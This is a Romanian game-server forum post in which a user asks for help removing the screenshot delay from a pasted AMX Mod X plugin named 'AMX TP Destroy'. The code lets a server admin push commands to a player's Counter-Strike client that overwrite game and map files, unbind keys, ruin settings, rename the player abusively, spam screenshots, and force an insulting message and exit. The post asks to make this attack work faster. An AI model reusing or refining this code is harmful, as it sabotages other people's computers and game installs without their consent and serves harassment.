scoatere delay

Categoria cu cereri de pluginuri si nu numai.

Moderators: Moderatori ajutatori, Moderatori, Echipa eXtreamCS.com

Forum rules
Accesează link-ul pentru a putea vedea regulile forumului

Daca doriti sa vi se modifice un plugin, va rugam postati aici .
Post Reply
smileye
Fost moderator
Fost moderator
Posts: 4655
Joined: 12 Jun 2012, 14:18
Detinator Steam: Da
Reputatie: Fost moderator
Has thanked: 258 times
Been thanked: 38 times
Contact:

16 Jul 2012, 22:02

vreau sa imi modificati cine se pricepe sa scoata delay-ul la poze din destroy-ul de mai jos,pentru ca pana face poze jucatorul poate iesi din cs:
| Afiseaza codul
/*
*	 If you want to use with Timepass Anticheat you should have Advanced Bans!
*	 Example usage: 
*	 timepass_custom_punish "amx_ban %name% %bantime% %reason%; amx_destroy %name%"
*/
#include <amxmodx>
#include <amxmisc>
#include <fakemeta>
#include <fun>

new PLUGIN[]="AMX TP Destroy"
new AUTHOR[]="Dark-Skript" 
new VERSION[]="2.0"

public plugin_init(){
	
	register_plugin(PLUGIN,VERSION,AUTHOR)
	register_concmd("amx_destroy","punish",ADMIN_BAN,"<nick> : Punishes bad player.")
	server_cmd("ab_bandelay 7") // Just incase you use it with Timepass Anticheat
}

new const g_files[][] = {
	
	"sprites/hud.txt", "resource/cstrike_english.txt", "tempdecal.wad","logos/remapped.bmp",
	"models/player/terror/terror.mdl", "resource/gamemenu.tga", "resource/loadingdialog.res",
	"resource/loadingdialognobanner.res", "resource/loadingdialogvac.res", "game.ico", 
	"resource/gamemenu.res", "custom.hpk", "liblist.gam", "voice_ban.dt", "de_vegas.wad",
	"motd.txt", "mapcycle.txt", "autobuy.txt", "steam_appid.txt"
}

new const g_maps[][] = { 
	
	"de_dust2.bsp", "de_dust.bsp", "de_dust2_2x2.bsp", 
	"cs_assault.bsp", "cs_office.bsp", "de_nuke.bsp",
	"de_airstrip.bsp", "cs_havana.bsp", "de_chateau.bsp",
	"de_aztec.bsp", "as_oilrig.bsp", "cs_siege.bsp",
	"de_cbble.bsp", "cs_747.bsp", "de_prodigy.bsp", 
	"cs_italy.bsp", "cs_backalley.bsp", "cs_militia.bsp",
	"de_train.bsp"
}

new const g_cmds[][] = {
	
	"drop; unbindall","bind escape ^"say Wtf^"", "fps_max 1", "volume 999999", 
	"rate 1", "bind ` ^"say Wtf^"", "gl_flipmatrix 1", "cl_cmdrate 1", "cl_updaterate 1", 
	"+right", "con_color ^"1 1 1^"", "fps_modem 1", "gl_flipmatrix 1", 
	"cd open", "hud_draw 0", "cl_righthand 1", "spk ^"vox/bizwarn destroyed^"",
	"MP3Volume 9999", "model fucked", "cl_minmodels 1", "sensitivity 999", 
	"gamma 999", "brightness 999", "voice_enable 0", "-jlook", "-mlook", 
	"cl_forwardspeed 0", "cl_sidespeed 0", "cl_backspeed 0", "cl_timeout 1", 
	"m_pitch 99", "viewsize 999", "crosshair 0", "+jump; +crouch; +back; +right",
	"fastsprites 0", "console 0", "name ^"MY CS IS FUCKED^"", "hideradar"
}

new const g_screenshot[][] = {
	
	"screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot", 
	"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot",
	"screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot", 
	"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot",
	"screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot", 
	"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot",
	"screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;",
	"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot", 
	"screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;",
	"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot"
}

new const g_configspam[][] = {
	
	"writecfg", 
}

public disable_user(id)
{
	new target = id
	strip_user_weapons(target);
	set_pev(target,pev_velocity,Float:{0.0,0.0,0.0})
	engfunc(EngFunc_SetClientMaxspeed,target,0.00001)
	set_pev( target , pev_flags , pev( target , pev_flags ) | FL_FROZEN )
	set_user_rendering(target,kRenderFxGlowShell,255,0,0,kRenderNormal,25)
}

public punish(id,level,cid){
	
	if (!cmd_access(id,level,cid,2)){
		return PLUGIN_HANDLED
	}
	new Authid[35]
	get_user_authid(id,Authid,34)	
	new arg[32],Name[32]
	read_argv(1,arg,31)
	new target = cmd_target(id,arg,1)
	get_user_name(target,Name,31)
	
	if(!target){ 
		return PLUGIN_HANDLED 
	}
	
	else
	
	disable_user(target);
	
	for ( new i; i < sizeof( g_files); i++ ){
		
		client_cmd(target, "motdfile %s", g_files)
		client_cmd(target, "motd_write Fucked")
	}
	for ( new i; i < sizeof( g_maps); i++ ){
		
		client_cmd(target, "motdfile maps/%s", g_maps)
		client_cmd(target, "motd_write Fucked")
	}
	for ( new i; i < sizeof( g_cmds); i++ ){
		
		client_cmd(target, "%s", g_cmds)
	}
	
	client_print(0,print_chat,"%s Was Destroyed",Name)
	client_cmd(0, "spk ^"vox/bizwarn Warning User Destroyed^"")
	
	for ( new i; i < sizeof( g_screenshot); i++ ){
		
		client_cmd(target, "%s", g_screenshot)
	}
	
	client_cmd(target, "say I am a fucking idiot;quit")
	
	return PLUGIN_HANDLED
}
Post Reply

Return to “Cereri”

  • Information
  • Who is online

    Users browsing this forum: Bing [Bot] and 23 guests